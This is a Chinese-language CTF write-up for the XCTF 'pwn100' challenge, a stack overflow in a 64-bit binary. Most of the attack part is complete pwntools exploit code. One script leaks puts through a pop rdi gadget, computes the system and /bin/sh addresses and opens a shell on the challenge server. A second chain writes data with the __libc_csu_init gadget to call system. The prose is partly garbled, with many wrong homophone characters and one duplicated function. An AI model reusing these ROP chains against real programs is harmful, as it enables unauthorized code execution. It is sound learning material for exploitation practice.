关于安全:pwnmediumROP一

6次阅读

共计 2962 个字符,预计需要花费 8 分钟才能阅读完成。

没有 libcsearcher 只有手动查找库了

这次是攻防世界中的一道 pwn100,始终纠结,最初还是弄懂了

上面理清一下前后做题的思路

万能 gadget

64 位下的一个高级货色,通过栈溢出返回至 part2 处,发现上管制上面的寄存器进而管制下面的寄存器。管制 jnz 产生偏移,而后返回上面 retn 持续管制其余的函数

上面是 pwn100 的 ida

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  sub_40068E();
  return 0LL;
}
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  sub_40068E();
  return 0LL;
}
__int64 __fastcall sub_40063D(__int64 a1, int a2)
{
  __int64 result; // rax
  unsigned int i; // [rsp+1Ch] [rbp-4h]

  for (i = 0; ; ++i)
  {
    result = i;
    if ((int)i >= a2 )
      break;
    read(0, (void *)((int)i + a1), 1uLL);
  }
  return result;
}

一步一步进去发现。就是一个 read 函数的溢出。

上面是 思路

最后想试试最新学的 csu,想用 read 进行地址泄露,发现 read 原来和 write 不一样,不能将数据写到输入流中,这里想节约了很多工夫。
之后尝试用 put,发现基本不行,因为 r15 只有传给 rdi 的低八位,而一个函数的地址又大于八位,所以只有诚实找找 pop_rdi 来进行泄露.

还好找到了。
通过

#leak puts_addr
payload1 = 'a'*0x48 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
payload1 = payload1.ljust(200, 'b')
p.send(payload1)
p.recvuntil('bye~\x0a')
puts_addr = u64(p.recvuntil('\x0a')[:-1].ljust(8, '\x00'))
print hex(puts_addr)

相似的多弄几个确定库

发现有俩个库,检查一下都是一样的再进入下一步

当初能够间接取得 system 还有 bin

再控制程序返回 start

再次执行 system 就好了呀

# coding=utf-8

from pwn import *
#from LibcSearcher import *

context.log_level = 'debug'
p = remote('111.200.241.244',38419)
elf = ELF('./pwn100')

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read_got = elf.got['read']
read_plt = elf.plt['read']

pop_rdi = 0x0000000000400763
part1 = 0x040075A
part2 = 0x0400740

main = 0x000000000400550

#leak puts_addr
payload1 = 'a'*0x48 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)    
payload1 = payload1.ljust(200, 'b')
p.send(payload1)
p.recvuntil('bye~\x0a')
puts_addr = hex(u64(p.recvuntil('\x0a')[:6].ljust(8, '\x00')))
system_addr = eval(puts_addr)  -0x2a300
binsh_addr = eval(puts_addr) + 0x11d6c7


#pause()
#get shell
print 'get shell:'
payload3 = 'a'*0x48 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) 
payload3 = payload3.ljust(200, 'b')
p.send(payload3)
p.interactive()

当然,这个没有利用 csu,所以换一下,留神,利用 csu 的话,rdi 只有第八位能用。所以参数的地址必须在低八位上

发现有中央有权限能够写,那么咱们利用 read 函数和 csu 进行间断写入
而后就是

def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
    payload  = p64(part1)            # part1 entry pop_rbx_rbp_r12_r13_r14_r15_ret
    payload += p64(0x0)            # rbx must be 0x0
    payload += p64(0x1)            # rbp must be 0x1
    payload += p64(jmp2)            # r12 jump to
    payload += p64(arg3)            # r13  -> rdx    arg3
    payload += p64(arg2)            # r14  -> rsi    arg2
    payload += p64(arg1)            # r15d -> edi    arg1
    payload += p64(part2)            # part2 entry will call [r12+rbx*0x8]
    payload += 'A' * 56            # junk 6*8+8=56
    return payload
def pwn():
    payload  = "A"*(0x40 + 8)
    payload += com_gadget(part1, part2, elf.got['read'], 0,binsh_addr,8)
    payload += p64(main_addr) 
    payload  = payload.ljust(200, "A")
    io.send(payload)

    io.recvuntil("bye~\n")
    io.send('/bin/sh\x00')

    payload  = "A"*(0x40 + 8)
    payload += com_gadget(part1, part2, elf.got['read'], 0,system_plt,8)
    payload += p64(main_addr) 
    payload  = payload.ljust(200, "A")
    io.send(payload)

    io.recvuntil("bye~\n")
    io.send(p64(system_addr))

    #gdb.attach(io)
    payload  = "A"*(0x40 + 8)#call
    payload += com_gadget(part1, part2, system_plt, binsh_addr)
    payload  = payload.ljust(200, "A")
    io.send(payload)

    io.interactive()

ps:程序运行很快,所以得先 recv(‘bye~’). 再次取得数据,利用 main/start 反复程序(倡议 start)
利用这俩个函数就能够胜利取得 shell
因为是学会利用 csu,所以会屡次一举。
(以上内容很多来自于教训贴,如有侵权,请分割我 …)

正文完
 0